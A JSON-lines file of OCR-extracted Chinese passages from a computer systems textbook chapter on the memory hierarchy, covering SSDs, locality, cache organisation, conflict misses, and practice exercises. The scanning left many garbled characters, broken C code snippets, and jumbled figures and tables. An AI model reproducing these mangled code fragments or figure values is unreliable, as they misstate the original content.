    {"text": "_练习题6.5使用图6-14中的区图，确定下面这两个区中备用柱面的数量： 区0 区8 6.1.3固态硬盘 固态硬盘（Solid State Disk, SSD)是一种基于闪存的存储技术（参见6.1.1节)，在某些情 况下是传统旋转磁盘的极有吸引力的替代产品。"},
    {"text": "一个SSD包由一个或多个闪存芯片和闪存翻译层(flash translation layer) 组成，闪存芯片替代传统旋转磁盘中的机械驱动器，而闪存翻译层是一个硬件/固件设备，扮演 与磁盘控制器相同的角色，将对逻辑块的请求翻译成对底层物理设备的访问。"},
    {"text": "i/o总线 闪存 翻译层 闪存 块0 块B-1 页0 页1 页P-1 图6-15固态硬盘（SSD) 读 写 顺序读吞吐量 250MB/S 顺序写吞吐量 170MB/S 随机读吞吐量 140MB/S 随机写吞吐量 14MB/S 随机读访问时间 30ns 随机写访问时间 300ns 图6-16 —个典型的固态硬盘的性能特性。"},
    {"text": "其次，如果写操作试图修改一个包含已经有数据（也就是不全为1)的页 P, 那么这个块中所有带有用数据的页都必须被拷贝到一个新（擦除过的）块，然后才能进行对 页P的写。"},
    {"text": "制造商在已经闪存翻译层中实现了复杂的逻辑，试图抵消擦写块的高昂代价，最小化 内部写的次数，但是随机写的性能不太可能能够和读一样好。"},
    {"text": "给定这样的假设，根据下面的工作负载， 估计图6-16中的SSD的寿命 （以年 为单位）： A•顺序写的最糟情况：以170MB/S (该设备的平均顺序写吞吐量）的速度持续地写SSD。"},
    {"text": "如果我们看 有效周期时间 （effective cycle time)定义为 一个单独的CPU (处理器）的周期时间除以它的处理器核数，那么从1980年到2010年的提高 还要大一些，为10 000倍。"},
    {"text": "CPU性能曲线在2003年附近的突然变化反映的是多核处理器的出现 (参见后面的解释)，在这个分割点之后，单个核的周期时间实际上增加了一点点，然后又开始下 降，不过比以前的速度要慢一些。"},
    {"text": "直到2003年左右多核处理器的 出现，这个性能差距都是延迟的一个函数，DRAM和磁盘的访问时间比单个处理器的周期时间 提髙得更慢。 不过，随着多核的出现，这个性能越来越成为了一个吞吐量的函数，多个处理器核 并发地向DRAM和磁盘发请求。"},
    {"text": "度量标准 1980 1985 1990 1995 2000 2005 2010 2010:1980 美元/MB 19 200 2 900 320 256 100 75 60 320 访问时间（ns) 300 150 35 15 3 2 1.5 200 a) SRAM趋势 度量标准 1980 1985 1990 1995 2000 2005 2010 2000:1980 美元/mb 8000 880 100 30 1 0.1 0.06 130 000 访问时间（ns) 375 200 100 70 60 50 40 9 典型的大小（MB) 0.064 0.256 4 16 64 2000 8 000 125 000 b) DRAM趋势 度量标准 1980 1985 1990 1995 2000 2005 2010 2000:1980 美元/MB 500 100 8 0.30 0.01 0.005 0.0003 500 访问时间（ms) 87 75 28 10 8 5 3 29 典型的大小（MB) 1 10 160 1000 20 000 160 000 1 500 000 1 500 000 c)旋转磁盘趋势 度量标准 1980 1985 1990 1995 2000 2003 2005 2010 2000:1980 Intel CPU 8 080 80 286 80 386 Pent. p-m Pent.4 Core 2 Core i7 — CPU时钟频率 . (MHz) 1 60 20 150 600 3300 2000 2500 2500 CPU时钟周期（ns) 1000 166 50 6 1.6 0.30 0.50 0.4 2500 Cores 1 1 1 1 1 1 2 4 4 Eff.cycle time(ns) 1000 166 50 6 1.6 0.30 0.25 0.10 10 000\n100 000 000.0 (S)屉 fe +磁盘寻道时间 备 SSD写时间 ~A~SSD读时间 DRAM访问时间 + SRAMi方问时间 CPU周期时间 +有敢CPU周期时间 0.0 H—I 1 1 1 r 1980 1985 1990 1995 2000 2003 2005 2010 年份 图6-18磁盘、DRAM和CPU速度之间逐渐增大的差距 正如我们将在6.4节中看到的那样，现代计算机频繁地使用基于SRAM的高速缓存，试 图弥补处理器-存储器之间的差距。"},
    {"text": "有趣的是， 这些变化点趋向于每十年发生一次：20世纪50年代Fortran的提出，20世纪60年代早期IBM 360的出现，20世纪70年代早期Internet的曙光（当时称为APRANET), 20世纪80年代早期 IBMPC的出现，以及20世纪90年代万维网（World Wide Web)的出现。"},
    {"text": "最近的这样的事件出现在21世纪初，当计算机制造商迎头撞上了所谓的“能量墙”（power wall),发现他们无法再像以前一样增加CPU的时钟频率了，因为如果那样芯片的功耗会太大。"},
    {"text": "解决方法是用多个小处理器核（core)取代单个大处理器，从而提高性能，每个完整的处理器能 够独立地、与其他核并行地执行程序。 这种多核（multi-core)方法部分有效，因为一个处理器 的功耗正比于/>=/(> 2 ,这里/是时钟频率，C是电容，而v是电压。 电容C大致上正比于面积， 所以只要所有核的总面积不变，多核造成的能耗就能保持不变。"},
    {"text": "从这个时间点以后，计算机越来越快，不是因为时钟频率的增加，而是因为每个处理器中核 数的增加，也因为体系结构上的创新提高了在这些核上运行的程序的效率。"},
    {"text": "在一个具有良好时间局部性的程序中，被引用过一次的存储器位置很可能在不远的将 来再被多次引用。 在一个具有良好空间局部性的程序中，如果一个存储器位置被引用了一次，那 么程序很可能在不远的将来引用附近的一个存储器位置。"},
    {"text": "在硬件层，局部性原理允许计算机设计者通过引入称为高速缓存存储器的小而快速的存储 器来保存最近被引用的指令和数据项，从而提高对主存的访问速度。 在操作系统级，局部性原理 允许系统使用主存作为虚拟地址空间最近被引用块的高速缓存。"},
    {"text": "正如我们在图6-1%中看到的，向量v的元素是被顺序读取的，一个接一个 ， 按照它们存储 在存储器中的顺序（为了方便，我们假设数组是从地址0开始的）。"},
    {"text": "因此，对于变量v,函数有 很好的空间局部性，但是时间局部性很差 , 因为每个向量元素只被访问一次。 因为对于循环体 中的每个变量 ， 这个函数要么有好的空间局部性，要么有好的时间局部性，所以我们可以断定 sumvec函数有良好的局部性。"},
    {"text": "1. int sumvec (int v [N]) 2 { 3 int i, sum A = 0; I 5 for (i = 0; i < N; i++) 6 sum += v[i]; 7 return sum; 8 } 地址 0 4 8 12 16 20 24 28 内容 v o v i V 2 V 3 V 4 V 5 V 6 V 7 访问顺序 1 2 3 4 5 6 7 8\nb) 图6-19 a) 一个具有良好局部性的程序；"},
    {"text": "注惫如何按照向量 元素存储在存储器中的顺序来访问它们 我们说像 sumvec 这样顺序访问一个向量每个元素的函数，具有步长为 1 的引用模式 (stride-1 reference pattern) (相对于元素的大小 )。"},
    {"text": "有时我们称步长为 1 的引用模式为顺序引用模 式 （sequential reference pattern )。 一个连续向量中，每隔（个元素进行访问，就被称为步长为 k 的引用模式 （ stride-k reference pattern )。 步长为 1 的引用模式是程序中空间局部性常见和重要的 来源。"},
    {"text": "int sumarrayrows(int a[M][N]) { int i, j, sum = 0; 4 for (i : 0; i < M; i++) for Cj = 0; j < N; j++) sum += a[i] [j] ; return sum; 地址 0 4 8 12 16 20 内容 «00 «01 ^02 a 10 a ll a l2 a) 访问顺序 1 2 3 4 5 6 b) 图 6-20 a) 另一个具有良好局部性的程序；"},
    {"text": "有良好的 空间局部性，是因为数组是按照与它存储在存储器中一样的行优先顺序来被访问的 地址 0 4 8 12 16 20 内容 floo «oi fl 02 °io a n a n 访问顺序 13 5 2 4 6 一些看上去很小的对程序的改动能够对它的局部性有很大的影响。"},
    {"text": "1 2 int sumarrayrows(int a[M][N]) •r 3 4 int i, j, sum = 0； 5 for (i = 0; i < M; i++) 6 for (j = 0; j < N; j++) 7 sum += a Ci] [j]; 8 9 return sum; > a) b) 图 6-21 a) 一 个空间局部性很差的程序；"},
    {"text": "b) 数组 a 的引甩模式 （ M=2, N=3) 0 函数的空间 局部性很差，这是因为它使用步长为 N 的引用模式来扫描存储器 取指令的局部性 因为程序指令是存放在存储器中的 ， CPU必须取出（读出）这些指令，所以我们也能够评价 一个程序关于取指令的局部性。"},
    {"text": "局部性小结 在这一节中，我们介绍了局部性的基本思想，还给出了一些量化评价一个程序中局部性的简 单原则： 重复引用同一个变量的程序有良好的时间局部性。"},
    {"text": "_练习题6.8改变下面函数中循环的顺序 ， 使得它以步长为1的引用模式扫描三维数组a: int sumarray3d(int a[N][N][N]) { int i, j, k, sum = 0; 4 for (i = 0; i < N; i++) { for (j = 0; j < N; j++) i for (k = 0; k < N;'k++) { sum += a[k] [i] [j]; ‘ 9 } 10 } f } return sum; > 1 #define N 1000 2 3 typedef struct { 4 int vel [3]; 5 int acc [3] ; 6 } point; 7 8 point p [N] ; a) structs 数组 ®练习题6.9图6-22中的三个函数，以不同的空间局部性程度，执行相同的操作。"},
    {"text": "1 2 void clearl(point *p, int n) X 3 int i，j； 4 5 for (i = 0; i < n; i++) { 6 for (j : 0; j < 3; j++) 7 p[i] .vel [j] = 0; 8 for (j = 0; j < 3; j++) 9 p[i] .acc[j] = 0; 10 > 11 > 图6-22练习题6.9的代码示例 1 void clear2(point *p, int n)* 2 { _ ； 3 int i, j; 4 5 , for (i = 0; i < n; i++) { 6 for (j = 0; j < 3; j++) ■[ 7 p[i] .vel [j] = 0; 8 p[i] -acc[j] = 0; 9 > 10 } 11 > c) clear2 函数 l void clear3(point *p, int n) 2 { 3 1 int i, j ； 4 5 for (j = 0; j < 3; j++) i 6 for (i = 0; i < n; i++) 7 p[i] .vel[j] = 0; 8 for (i = 0; i < n; i++) 9 p[i] .acc[j] = 0; 10 > 11 > d) clear3 函数 clearl 函数 6.3 存储器层次结构 6.1节和6.2节描述了存储技术和计算机软件的一些基本的和持久的属性： •存储技术：不同存储技术的访问时间差异很大。"},
    {"text": "CPU寄存器保存着从髙速 缓存存储器取出的字 L1髙速缓存保存着从L2 高速缓存取出的缓存行 L2高速缓挪存着从L3 高速缓存取出的缓存行 更大 更慢和 (每字节） 差别更低的 存储设备 L3髙速缓存保存着从主存 高速缓存取出的缓存行 主存保存着从本地磁盘 取出的磁盘块 本地磁盘保存着从远程网络 服务器磁盘上取出的文件 图6-23存储器层次结构 其他的存储器层次结构 我们向你展示了一个存储器层次结构的示例，但是其他的组合也是可能的，而且确实也^艮常 见。"},
    {"text": "它们这种相互补 充的性质使人想到一种组织存储器系统的方法,称为存储器层次结构（memory hierarchy),所有 的现代计算机系统中都使用了这种方法。"},
    {"text": "在最高层（L0),是少量快速的CPU寄 存器，CPU可以在一个时钟周期内访问它们。 接下来是一个或多个小型到中型的基于SRAM的 高速缓存存储器，可以在几个CPU时钟周期内访问它们。 然后是一个大的基于DRAM的主存, 可以在几十到几百个时钟周期内访问它们。"},
    {"text": "例如，像安德鲁文件 系统（Andrew File System, AFS)或者网络文件系统（Network File System, NFS)这样的分布 式文件系统，允许程序访问存储在远程的网络服务器上的文件。"},
    {"text": "存储器层次结构中的缓存 一般而言，高速缓存（cache,读作“cash”）是一个小而快速的存储设备，它作为存储在 更大、也更慢的设备中的数据对象的缓冲区域。 使用高速缓存的过程称为缓存（caching,读作 “cashing”)。"},
    {"text": "例如，本地磁盘作为通过网络从远程磁盘取出的文件（例如Web页面）的缓存，主存作为 本地磁盘上数据的缓存，依此类推,直到最小的缓存CPU寄存器集合。"},
    {"text": "每个块都有一个唯一的地址或名字，使之区别于其他 的块9块可以是固定大小的（通常是这样的)，也可以是可变大小的（如存储在Web服务器上 的远程HTML文件）。"},
    {"text": "例如，在图6-23中，L1和L0之间的传送通常使用的是1个字的块。 L2和L1之间（以及 L3和L2之间、L4和L3之间）的传送通常使用的是8〜16个字的块。 而L5和L4之间的传送 用的是大小为几百或几千字节的块。"},
    {"text": "第灸层：1 4 11 9 II 14 •.; 禮 : 广 .. 切 .\"... 、 ....… 第灸层更小、更快、更昂贵的设备 缓存着第hi层块的一个子集\n数据以块大小为传输 单元在层与层之间拷贝\n]1 1 1 1 2 丨 厂\nT rnnnn^ 第灸+1层: 第紅i层更大、更慢、更便宜的 设备被划分成块\n图6-24存储器层次结构中基本的缓存原理 1 •缓存命中 当程序需要第奸1层的某个数据对象rf时，它首先在当前存储在第层的一个块中査找 (L 如果rf刚好缓存在第A层中，那么就是我们所说的缓存命中（cachehit)。"},
    {"text": "缓存不命中 另一方面，如果第A层中没有缓存数据对象A那么就是我们所说的缓存不命中（cache miss)。 当发生缓存不命中时，第A层的缓存从第A+1层缓存中取出包含rf的那个块，如果第灸 层的缓存已经满了的话，可能就会覆盖现存的一个块。"},
    {"text": "决定该替换哪个块是由缓存的替换策略（replacement policy) 来控制的。 例如，一个具有随机替换策略的缓存会随机选择一个牺牲块。 一个具有最近最少被使 用（LRU)替换策略的缓存会选择那个最后被访问的时间距现在最远的块。"},
    {"text": "一个空的缓存有时称为冷缓存（cold cache),此类不命中称为强制性 不命中（compulsory miss)或冷不命中（cold miss)。 冷不命中很重要，因为它们通常是短暂的 事件，不会在反复访问存储器使得缓存暖身（warmedup)之后的稳定状态中出现。"},
    {"text": "对于存储器层次结构中高层的缓存（靠近CPU),它们是用硬件来实现的，而且速度 是最优的，这个策略实现起来通常很昂贵，因为随机地放置块，定位起来代价很高。 因此，硬件缓存通常使用的是更严格的放置策略，这个策略将第奸1层的某个块限制放置在 第灸层块的一个小的子集中（有时只是一个块)。"},
    {"text": "这种限制性的放置策略会引起一种不命中，称为冲突不命中（conflict miss),在这种情况 下，缓存足够大，能够保存被引用的数据对象，但是因为这些对象会映射到同一个缓存块，缓存 会一直不命中。"},
    {"text": "例如，在图6-24中，如果程序请求块0,然后块8,然后块0,然后块8,依此 类推，在第A层的缓存中，X^f这两个块的每次引用都会不命中，即使是这个缓存总共可以容纳4 个块。"},
    {"text": "缓存管理 正如我们提到过的，存储器层次结构的本质是，每一层存储设备都是较低一层的缓存。 在每 一层上 ， 某种形式的逻辑必须管理缓存。 这里，我们的意思是指某个东西要将缓存划分成块，在 不同的层之间传送块 ， 判定是命中还是不命中，并处理它们。 管理缓存的逻辑可以是硬件、软 件，或是两者的结合。"},
    {"text": "存储器层次结构概念小结 概括来说，基于缓存的存储器层次结构行之有效,是因为较慢的存储设备比较快的存储设备 更便宜，还因为程序往往展示局部性： •利用时间局部性：由于时间局部性，同一数据对象可能会被多次使用。"},
    {"text": "现代系统中到处都使用了缓存。 正如从图6-25中能够看到的那样，CPU芯片、操作系统、 分布式文件系统中和万维网上都使用了缓存。 各种各样硬件和软件的组合构成和管理着缓存。"},
    {"text": "类型 缓存什么 被缓存在何处 延迟 ( 周期数） 由谁管理 cro 寄存器 4 节字或 8 字节字 芯片上的 CPU 寄存器 0 编译器 TLB 地址翻译 芯片上的 TLB 0 硬件 MMU L1 髙速缓存 64 字节块 . 芯片上的 L1 高速缓存 1 硬件 L2 高速缓存 64 字节块 芯片上/下的 L2 高速缓存 10 硬件 L3 高速缓存 64 字节块 芯片上/下的 L3 高速缓存 30 硬件 虚拟存储器 4-KB 页 主存 100 硬件 + OS 缓冲区缓存 部分文件 主存 100 OS 磁盘缓存 磁盘扇区 磁盘控制器 100 000 控制器固件 网络缓存 部分文件 本地磁盘 10 000 000 AFS/NFS 客户 浏览器缓存 Web 页 本地磁盘 10 000 000 Web 浏览器 Web 缓存 Web 页 远程服务器磁盘 1 000 000 000 Web 代理服务器 图6-25缓存在现代计算机系统中无处不在。"},
    {"text": "NFS ：网络文件系统（Network File System) 6.4 高速缓存存储器 ( v • , ' 早期计算机系统的存储器层次结构只有三层：CPU寄存器、DRAM主存储器和磁盘存储。"},
    {"text": "不过，由于CPU和主存之间逐渐增大的差距，系统设计者被迫在CPU寄存器文件和主存之间插 入了一个小的SRAM高速缓存存储器，称为L1高速缓存（一级缓存)，如图6-26所示。"},
    {"text": "L1高 速缓存的访问速度几乎和寄存器一样快，典型地是2〜4个时钟周期。 随着CPU和主存之间的性能差距不断增大，系统设计者在L1高速缓存和主存之间又插人了 一个更大的高速缓存，称为L2高速缓存，可以在大约10个时钟周期内访问到它。 有些现代系 统还包括有一个更大的高速.缓存，称为L3高速缓存在存储器层次结构中，它位于L2髙速缓\n存和主存之间，可以在30或者40个周期内访问到它。"},
    {"text": "每个行是由一个5=2 6 字节的数据块（block)组成的，一个 有效位（valid bit)指明这个行是否包含有意义的信息，还有-(6+*s)个标记位（tag bit)(是 当前块的存储器地址的位的一个子集)，它们唯一地标识存储在这个高速缓存行中的块。 5=2¾ 每行1个每行汁 每个髙速缓存块 有效位 有效位 • A N t 有於字节 |有效| |标记| 1 0 1 1丨…丨5- 1丨 |有效| |标记| 1 0 |l|”. B-l I |有效丨 |标记| 1 0 | 1 | … \\B-1 1 * ； ： ■ ■..' ... |有效| |标记| 0 | 1 | … B—1 ■ 每组五行 1有效1 1标记1卜1 1 1 …丨5-1| ............: ...... . 1有效1丨标记1 1 0 | 1 I … \\B-1 1 高速缓存大小C=B 据字节 s 位 地址: m-1 标记 组索引 块偏移 b) 图6-27高速缓存 iS，E, B，m) 的通用组织。 a)高速缓存是一个髙速缓存组的数组，每个 组包含一个或多个行，每个行包含一个有效位，一些标记位，以及一个数据块； b) 高速缓存的结构将 m 个地址位划分成了 t 个标记位、$个组索引位和 b 个块偏移位 一般而言，高速缓存的结构可以用元组 E，B，m) 来描述。 高速缓存的大小（或容量） C指的是所有块的大小的和。"},
    {"text": "一旦我们知道了这个字必须放在哪个组中，3 中的/ 个 标记位就告诉我们这个组中的哪一行包含这个字（如果有的话）。 当且仅当设置了有效 位并且该行的标记位与地址^中的标记位相匹配时，组中的这一行才包含这 个字。"},
    {"text": "基本参数 参数 描述 S=2 S 组数 E 每个组的行数 B=2 b 块大小（字节） w=log 2 (M) ( 主存）物理地址位数 衍生出来的量 参数 描述 存储器地址的最大数量 j=log 2 (iS) 组索引位数量 &=log 2 (5) 块偏移位数量 t=m-(s+b) 标记位数量 C=BXEXS 不包括像有效位和标记位这样开销的高速缓存大小（字节） 图6-28高速缓存参数小结 _练习题6.10下表给出了几个不同的高速缓存的参数。 确定每个高速缓存的高速缓存组数（幻、标记 位数（/)、组索引位数GO以及块偏移位数（办)。 高速缓存 m C B E S t s b 1. 32 1024 .4 1 2. 32 1024 8 4 3. 32 1024 32 32 6.4.2直接映射高速缓存 根据五（每个组的高速缓存行数）髙速缓存被分为不同的类。 每个组只有一行（五 =1)的高 速缓存称 为直接映射高 速缓存（direct-mapped cache)(见图6-29)。 直接映射高速缓存是最容易 实现和理解的，所以我们会以它为例来说明一些高速缓存工作方式的总体思想。 0:1: 组 组 1有效1 1标记I I 髙速缓存块 1 1有效丨丨标记I I 髙速缓存块 -五=每组1行 组、1: I有效I I标记~T 1 髙速缓存 图6-29直接映射高速缓存（P1)。"},
    {"text": "当CPU执行一条读存储器字w的指令，它向L1高速缓存请求这个字。 如果L1高速缓存有 w的一个缓存的拷贝，那么就得到L1高速缓存命中，高速缓存会很快抽取出w,并将它返回给 CPU。 否则就是缓存不命中，当L1高速缓存向主存请求包含w的块的一个拷贝时，CPU必须 等待。 当被请求的块最终从存储器到达时，L1高速缓存将这个块存放在它的一个髙速缓存行里, 从被存储的块中抽取出字mv然后将它返回给CPU。 高速缓存确定一个请求是否命中，然后抽 取出被请求的字的过程，分为三步：1)组选择，2)行匹配，3)字抽取。 1.直接映射高速缓存中的组选择 在这一步中，高速缓存从w的地址中间抽取出s个组索引位。"},
    {"text": "选择的组 t 位 S 位 I I 00001 标记 组索引 块偏移 组0: 有效I I标记11 高速缓存块 1 -> 组 1: 有效1 1标记11 髙速缓存块 1 组 <S-1 : 1有效j 1标记I I 高速缓存块 图 6-30 直接映射髙速缓存中的组选择\n直接映射高速缓存中的行匹配 既然在上一步中我们已经选择了某个组 “ 接下来的一步就要确定是否有字w的一个拷贝存 储在组f包含的一个高速缓存行中。"},
    {"text": "这个行的有效位设置了，所以我们知道标记和块中的位是有意义的。 因为这个 高速缓存行中的标记位与地址中的标记位相匹配，所以我们知道我们想要的那个字的一个拷贝确 实存储在这个行中。"},
    {"text": "表示字w的低位字节， M是下一个字节，依此类推 直接映射高速缓存中不命中时的行替换 如果缓存不命中，那么它需要从存储器层次结构中的下一层取出被请求的块，然后将新的块 存储在组索引位指示的组中的一个高速缓存行中。"},
    {"text": "对于直接映射高速缓存来说，每个组只包含有一行，替换策略 非常简单：用新取出的行替换当前的行。 综合：运行中的直接映射髙速缓存 高速缓存用来选择组和标识行的机制极其简单。"},
    {"text": "假设我们有一个直接映射高速缓存，描述如下 (S f E，B, m) =(4, 1, 2, 4) 换句话说，高速缓存有四个组，每个组一行，每个块2个字节，而地址是4位的。"},
    {"text": "虽然这种手工的模拟很乏味 ， 你可能想要跳过它，但是 根据我们的经验，在学生们做过几个这样的练习之前，他们是不能真正理解高速缓存是如何 工作的。"},
    {"text": "地址 (十进制） 地址位 块号 (十进制） 标记位 (r = l) 索引位 0=2) 偏移位 (办=1) 0 0 00 0 0 1 0 00 1 0 2 0 01 1 3 0 01 1 1 4 0 10 2 5 0 10 1 2 6 0 11 3 7 0 11 1 3 8 1 00 4 9 1 00 1 4 10 1 01 5 11 1 01 1 5 12 1 10 6 13 1 10 1 6 14 1 11 7 15 1 11 1 7 图6-32示例直接映射高速缓存的4位地址空间 初始时，高速缓存是空的（即每个有效位都是0): 组 有效位 标记位 块[0] 块[1] 0 0 1 0 2 0 3 0 表中的每一行都代表一个高速缓存行。"},
    {"text": "高速缓存从存储器（或低一层 的高速缓存）取出块0,并把这个块存储在组0中。 然后，髙速缓存返回新取出的高速缓存行的 块[0]的m[0](存储器位置0的内容)。"},
    {"text": "组 有效位 标记位 块[0] 块[1] 0 1 0 m[0] m[l] 1 0 2 1 1 m[12] m[13] 3 0 6.直接映射高速缓存中的冲突不命中 冲突不命中在真实的程序中很常见，会导致令人困惑的性能问题。 当程序访问大小为2的 幂的数组时，直接映射高速缓存中通常会发生冲突不命中。"},
    {"text": "例如，考虑一个计算两个向量点积 的函数： float dotprod(float x[8], float y [8]) { float sum = 0.0; int i; 5 for (i = 0; i < 8; i++) sum += x[i] * y [i]; return sum; > 对于X和y来说，这个函数有良好的空间局部性，因此我们期望它的命中率会比较髙。"},
    {"text": "根据这些假设每个x[:L]和y[i]会映射到相同的高速缓存组： 在运行时，循环的第一次迭代引用x[0],缓存不命中会导致包含x[0]〜x[3]的块被加 元素 地址 组索引 元素 地址 组索引 x[0] 0 0 y[0] 32 0 x[l] 4 0 y[i] 36 0 x[2] 8 0 y[2] 40 0 x[3] 12 0 y[3] 44 0 x[4] 16 1 y[4] 48 1 x[5] 20 1 y[5] 52 1 x[6] 24 1 y[6] 56 1 x[7] 28 1 y[7] 60 1 载到组0。 接下来是对y[0]的引用，又一次缓存不命中，导致包含y[0]〜y[3]的块被拷贝 到组0,覆盖前一次引用拷贝进来的x的值。 在下一次迭代中，对x[l]的引用不命中，导致 x[0]〜x[3]的块被加载回组0,覆盖掉y[0]〜y[3]的块。 因而现在我们就有了一个冲突 不命中，而且实际上后面每次对x和y的引用都会导致冲突不命中，因为我们在x和y的块之 间抖动 （thrash)。"},
    {"text": "简要来说就是，即使程序有良好的空间局部性，而且我们的髙速缓存中也有足够的空间来存 放xU]和y[i]的块，每次引用还是会导致冲突不命中，这是因为这些块被映射到了同一个高 速缓存组。"},
    {"text": "假设在存储器中y紧跟在x后面，我们有下面这样的从数组元素到组的映射： 在x结尾加了填充，x[i]和yU]现在就映射到了不同的组，消除了抖动冲突不命中。"},
    {"text": "元素 地址 组索引 元素 地址 组索引 x[0] 0 0 y[0] 48 1 x[l] 4 0 y[i] 52 1 x[2] 8 0 y[2] 56 1 x[3] 12 0 y[3] 60 1 x[4] 16 1 y[4] 64 0 x[5] 20 1 y[5] 68 0 x[6] 24 1 y[6] 72 0 x[7] 28 1 y[7] 76 0 _练习题6.11在前面dotprod的例子中，在我们对数组x做了填充之后，所有对x和y的引用的命 中率是多少？"},
    {"text": "考虑下面的代码，它运行在一个高速缓存形式为 iS，E, B, w) = (512, 1, 32, 32)的系统上： int array[4096]; for (i = 0; i < 4096; i++) sum += array[i]; 在任意时刻，存储在高速缓存中的数组块的最大数量为多少？"},
    {"text": "高位索引 中间位索引 0000 0000 .: ■ 0001 0010 . • ! - 000丄 0010 0011 \\ • - 1 , 001 丄 0100 ISHllii 0100 .. 0101 謹 0101 0110 0110 __觀 mi Oil丄 1000 1001 1010 1.¾.. .¾ 10QQ. 10QL lOlil * ' 广 - ' W 1011 101L msmm 1100 1100 _ _ _ ■ 1101 1110 110丄 1110. s歷懸 恕:..-..,.1:.: nil 111 丄 组索引位 图6-33为什么用中间位来作为高速缓存的索引 组相联髙速缓存 直接映射髙速缓存中冲突不命中造成的问题是源于每个组只有一行（或者，按照我们的术 语来描述就是五 =1)这个限制。"},
    {"text": "组相联高速缓存 （set associative cache)放松了这条限制，所以 每个组都保存有多于 一个的 高速缓存行。 一个 1<E<C/B 的高速缓存通常称为 E 路组相联高速缓 存。"},
    {"text": "组相联高速缓存中的行匹配和字选择 组相联高速缓存中的行匹配比直接映射高速缓存中的更复杂，因为它必须检查多个行的标记 位和有效位，以确定所请求的字是否在集合中。"},
    {"text": "一个传统的存储器是一个值的数组，以地址作为 输入，并返回存储在那个地址的值。 另一方面， 一个相联的存储器 是一个 (key, value) 对的数 组，以 key 为输入，返回与输入的 key 相匹配的 （ key, value) 对中的 value 值。 因此，我们可 以把组相联高速缓存中的每个组都看成一个小的相联存储器， key 是标记和有效位，而 value 就 是块的内容。"},
    {"text": "1 有效 11 标记 髙速缓存块 1 有效丨 1 标记 髙速缓存块 1 有效丨丨标记 髙速缓存块 丨有效丨 1 标记 高速缓存块 (¾¾ 1 1 标记 I f 高速缓存块 1 1 有效丨 1 标记 II 髙速缓存块 1 图6-34组相联高速缓存 (1<E<C/B) 0 在一个组相联髙速缓存中，每个组包含多于一个行。 这里的这个特例是一个2路组相联高速缓存 1 有效 11 标记 1 髙速缓存块 1 有效丨 1 标记 高速缓存块 1 有效 1，1 标记卜匚 高速缓存块 1 有效 11 标记 11 髙速缓存块\ns 位 b 位 )0001 I 涖 工 H 1 0 标记 组索引 块偏移 图6-35组相联髙速缓存中的组选择 j 有效 1. i 标记 高速缓存块 1 有效 11 标记 1 I 高速缓存块\n3.组相联高速缓存中不命中时的行替换 如果CPU请求的字不在组的任何一行中，那么就是缓存不命中，高速缓存必须从存储器中 取出包含这个字的块。"},
    {"text": "例如，最不 常使用 （Least-Frequently-Used, LFU)策略会替换在 过去某 个时间 窗口内引用次数最少的那一行。 最近最少使用 （Least-Recently-Used, LRU)策略 会替换最后一次访问时间最久远的那一行。"},
    {"text": "‘ 0 1 2 3 4 5 6 7 D Q 1 [ issn r 厂___厂1 I I 1 1 11 0110 | | II w i W 2 =? (3) 如果（ 1) 和（ 2) 为真， 那么高速缓存命中，然后 块偏移选择起始字节。"},
    {"text": "t 位 I…QUO 1.. m-l 工 ] 0\n标记 组索引 块偏移 图6-36组相联高速缓存中的行匹配和字选择 全相联高速缓存 一个全相联高速缓存 （fUlly associative cache)是由一个包含所有高速缓存行的组（即五=C/5) 组成的。"},
    {"text": "： • …v'.\" J.V ： .. , .. : ■ - • • *r ' ' -* 有效|标记 - 髙速缓存块 ► 五 = 唯一的一组中有五 =c /»行 图6-37全相联高速缓存:（五=匸/5)。 在一个全相联髙速缓存中，一个组包含所有的行 1.全相联高速缓存中的组选择 |有效| | 标记| | 髙速缓存块 | 有效| | 标记 髙速缓存块 . ■■ i : 丨有效| | 标记I I 高速缓存块 全相联高速缓存中的组选择非常简单，因为只有一个组，图6-38 做了个 小结。"},
    {"text": "组 0: t 位 b 位 L——] m-l 0 标记 块偏移 图6-38全相联高速缓存中的组选择。 注意没有组索引位 2.全相联高速缓存中的行匹配和字选择 全相联高速缓存中的行匹配和字选择与组相联高速缓存中的是一样的，如图6-39所示。"},
    {"text": "2路组相联高速缓存 行0 行1 组索引 标记位有效位字节0字节1 字节2 字节3 标记位有效位字节0字节1 字节2 字节3 0 09 1 86 30 3F 10 00 0 — — — — 1 45 1 60 4F E0 23 38 1 00 BC 0B 37 2 EB 0 — — — — 0B 0 _ _ — 一 3 06 0 — — — — 32 1 12 08 7B AD 4 C7 1 06 78 07 C5 05 1 40 67 C2 3B 5 71 1 0B DE 18 4B 6E 0 — _ — 6 91 1 A0 B7 26 2D F0 0 — — 一 _ 7 46 0 — — — — DE 1 12 C0 88 37 下面的方框展示的是地址格式（每个小方框一个位)。 指出（在图中标出）用来确定下列内容的字段 C0高速缓存块偏移 CI高速缓存组索引 CT高速缓存标记 12 11 10 9876543210\n=1? (1)有效位必须是设置了的。 0 1 2 3 4 5 6 7 整个高速缓存 t 位 f bk ' JLQQ -…| (3)如果（1)和（2),那么高 速缓存命中，然后块偏移选 择出起始字节。"},
    {"text": "r 0110\n0 rn-1 标记 块偏移 图 6-39 全相联高速缓存中的行匹配和字选择 _练习题6.14假设一个程序运行在练习题6.13中的机器上，它引用地址0x0E34处的1个字节的字。"},
    {"text": "A.地址格式（每个小方框一个位）： 12 11 10 9 8 7 6 5 4 3 2 1 0 B.存储器引用： 参数 值 髙速缓存块偏移（ C0) Ox 高速缓存组索引（ CI) Ox 高速缓存标记（ CT) Ox ’ 高速缓存命中？"},
    {"text": "A.地址格式（每个小方框一个位）： 12 11 10 9876543210 B.存储器引用： 参数 值 高速缓存块偏移（ CO) Ox 髙速缓存组索引（ CI) Ox 髙速缓存标记（ CT) Ox 高速缓存命中？"},
    {"text": "A.地址格式（每个小方框一个位）： 12 11 10 9 8 7 6 5 4 3 2 1 0 B.存储器引用： 参数 值 髙速缓存块偏移（ CO) Ox 高速缓存组索引（ CI) Ox 髙速缓存标记（ CT) Ox 髙速缓存命中？"},
    {"text": "如果不命中，从存储器层次结构中较低层中取出包含 字w的块，将这个块存储到某个高速缓存行中（可能会驱逐一个有效的行)，然后返回字w。"},
    {"text": "一种方法称为 写分配 （write-allocate),加载相应的低一 层中的块到高速缓存中，然后更新这个高速缓存块。 写分配试图利用写的空间局部性，但是缺点 是每次不命中都会导致一个块从低一层传送到高速缓存。 另一种方法，称为非 写分配 （not-write- allocate),避开高速缓存，直接把这个字写到低一层中。 直写高速缓存通常是非写分配的。 写回 高速缓存通常是写分配的。"},
